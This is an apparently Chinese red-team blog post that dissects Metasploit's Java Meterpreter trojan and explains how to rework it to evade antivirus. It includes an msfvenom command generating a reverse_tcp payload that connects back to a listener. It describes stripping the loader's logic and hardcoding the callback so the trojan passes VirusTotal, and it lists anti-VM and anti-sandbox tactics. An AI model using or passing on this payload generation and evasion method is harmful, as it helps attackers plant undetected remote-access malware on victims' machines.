前言
自从将CobaltStrike二开之后放在了GITHUB之后,有些人询问我当时MSF的源码级免杀怎么做的,今天决定带大家手撕metasploit中meterpreter源码。
生成meterpreter木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 > yanbuguohengyang.jar
使用Jd-Gui反编译Jar文件
下载Jd-Gui
反编译Jar:
保存源代码
解压文件
分析源码
源码内容我后期已经标明注释,非源码自带,需要请私聊我
马儿开局声明了几个全局变量
1.判断当前的操作系统
2.获取当前系统的路径分割符
3.判断系统是否基于unix内核
4.判断路径分隔符是否是 “;”
5.获取Jdk的安装目录
1.创建IO流读取配置文件
2.获取配置文件中Executable字段
如果字段不为空
1.获取系统一定存在的系统路径
2.在一定存在的系统路径下创建 “~spawnxxxx.tmp.dir”文件
3.在创建的dir下创建一个文件名为 配置文件中key为Executable的目录
4.调用方法传入1.反射获取到的Payload对象,2.Executable的值,3.创建的文件 (内部将Executable的值写入到创建到的新文件下)
5.删除配置文件中的Executable
6.配置文件写入DroppedExecutable值为新创建的值的不同操作系统的绝对路径
此代码Executable字段为空,不去执行判断内容
配置文件内容如上图所示
1.spawn值下文阐述
2.LHOST为回连地址
3.LPORT为回连端口
1.获取spawn值内容
如果spawn值大于0则
1.将Spawn减去1重新赋值给配置文件的Spawn
2.获取当前系统临时路径.dir
3.将此文件(也就是木马文件)写入系统临时路径
4.将获取到的jdk路径运行被重新写入的马儿路径(此过程为spawn路径-1的过程)
如果spawn值不大于0则
1.读取配置文件的回连地址
2.读取配置文件的端口
3.如果端口小于0的情况此处不做赘述
4.如果端口不小于0则与获取到的回连地址与端口建立Socket连接
5.建立连接后使用IO流获取服务端返回结果
6.调用bootstrap()函数
1.使用IO流获取服务端返回内容
2.判断paramString是否为空(上文可知为空,所以为空的逻辑不做阐述)
3.通过反射找到javapayload.stage.
4.将反射获取到的类采用反射invoke函数执行
5.定义trycatch捕获异常抛出
以上为MSF木马源码逻辑总线,其余函数为辅助主线完成函数
其中包括
1.寻找临时文件绝对路径
2.寻找Jdk的路径
3.针对不同系统对路径分割符号的替换
但是这些都不重要。
如何做到源码级免杀
通过以上对MSF木马的刨析,可以看出MSF采用木马三次加载(根据spawn的值决定)最后释放恶意代码,但是若如此做的目的我尚且不详,可能是为了起到免杀的作用.
还有就是这个马儿的通用性,它可以在不同的类型的操作系统上线是因为其中很多东西都做了动态处理,如路径分隔符,jdk的动态查找等。
了解了以上几点内容最终分享一个源码级免杀的案例吧
代码中我去除了很多马儿的原有逻辑,如上文提到的兼容性等问题,循环加载等问题。
1.直接建立socket连接
2.直接将服务端的数据加载
3.不再从配置文件读取回连地址端口,硬编码写死
如此做保留了建立连接的关键性代码,做到了客户端和服务端的对接。
关于免杀
我一直认为源码级免杀是比shellcode的免杀要好做的,这其中的原因是因为源码级免杀牵扯很多api,杀软大多数只能通过木马特征来查杀,但是shellcode的免杀加载器所遇到的api,申请内存空间,创建线程运行等函数已经被列入高危函数,可免杀的发展空间并无源码级免杀发展的空间大。
1.这个客户端的免杀率我一年多前上传的时候是vt都过了的,现在我懒得上传了,大家自行研究吧。这篇文章是我继《Cobaltstrike免杀从源码级到落地思维转变》出的前文,原因是因为很多人看了那篇文章后让我出一个分析msf的文章做衔接。
2.还有些人问我免杀很好过,但是始终存在一个问题就是免杀的木马在相对时间过后无法免杀的问题,这其实就引申出来免杀平台的作用。杀软是一套程序,是程序就有自己的运行逻辑,如果我们掌握这种规律并且自己的逻辑在杀软逻辑之上的话,那么杀软只能追着免杀平台生成的木马封,永远都无法追上。具体的实现逻辑我不能说,大家体会吧…..hahahaha
但是可以分为以下两点
1.shelcode的免杀,shellcode的随机性
2.加载器的免杀,加载器的随机性
3.反虚拟机,反虚拟机的红队调试
4.反沙箱,反沙箱的分析
总结
大家关注下我的GITHUB吧,包括cs二开后的jar,一些漏洞的poc。
地址:https://github.com/Yang0615777
我之前的文章:http://dwz.date/eNaU